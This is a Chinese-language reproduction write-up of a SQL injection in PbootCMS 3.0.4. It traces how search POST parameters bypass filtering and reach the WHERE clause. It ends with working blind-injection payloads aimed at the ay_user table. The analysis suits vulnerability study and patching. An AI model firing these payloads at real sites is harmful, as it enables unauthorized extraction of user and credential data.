pBootCMS 3.0.4 前台注入漏洞复现
漏洞点跟进
-
网上公布漏洞点在
/?p=search
,POST数据:1=select 1
,
-
apps/home/controller/ParserController.php
的parserSearchLabel
函数
请求的数据赋值给$receive
进行遍历,$key
进入request
函数进行处理
-
跟进
request
函数,文件core/function/helper.php
标定请求类型POST或GET
,构造变量
$condition = array( 'd_source' => 'post', 'd_type' => 'vars', 'd_require' => false, $name => $key, 'd_default' => null );
传递给filter($name, $condition)
-
跟进
filter
函数,文件core/function/helper.php
赋值$data = @$_POST@[$varname];
,并进行去空格处理
之后进行类型检测,正则匹配
image-20211108161543059image-20211108161556813可以看到注入字符串只能包含中文、字母、数字、横线、点、逗号、空格。
最后进行return escape_string($data);
处理。
-
继续跟进
escape_string
函数。文件core/function/handle.php
进行了htmlspecialchars
和addslashes
转义。
-
数据经过一系列过滤后返回到
apps/home/controller/ParserController.php
文件的parserSearchLabel
函数,赋值给$where3
数组。
-
继续跟着变量
$where3
,进入到读取数据函数$data = $this->model->getList($scode, $num, $order, $where1, $where2, $where3, $fuzzy, $start, $lfield, $lg);
image-20211108162403932
-
跟进
getList
函数,文件apps/home/model/ParserModel.php
image-20211108162741457
函数中$select=$where3
,
-
继续跟进
$select
变量image-20211108162943901
进入where
函数进行处理
9.继续跟进where
函数
可以看到条件之间使用AND
进行连接当传递的参数 $where
是一个数组时就遍历数组,当$where
是一个索引数组时,则:$where_string.=$value
。故而可以控制$where3
为索引数组,进而实现sql注入。
payload数据流跟踪
-
进行post请求搜索数据
1=1
时,在$where3
变量下断点image-20211108164300567
$where3=[1]
-
继续跟踪sql语句构造,经过一些类转换形成了sql语句
SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 16:49:33' AND a.acode='cn' ) AND(1)
,最后时把输入的1=1
转换成了条件中的AND (1)
image-20211108165408166
-
查询到所有信息
image-20211108165755096
-
当post数据为
1=0
时没抓到sql语句,用1=select 0
抓到sql语句为SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0)
同样添加了AND(select 0)
语句,sql注入可行。image-20211108170258976
漏洞利用
-
post传输数据
1=select 1 from ay_user where username regexp 0x61
可以进行盲注。image-20211108235622874
-
如果您的问题还未解决可以联系站长付费协助。
有问题可以加入技术QQ群一起交流学习
本站vip会员 请加入无忧模板网 VIP群(50604020) PS:加入时备注用户名或昵称
普通注册会员或访客 请加入无忧模板网 技术交流群(50604130)
客服微信号:15898888535
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若内容侵犯了原著者的合法权益,可联系站长删除。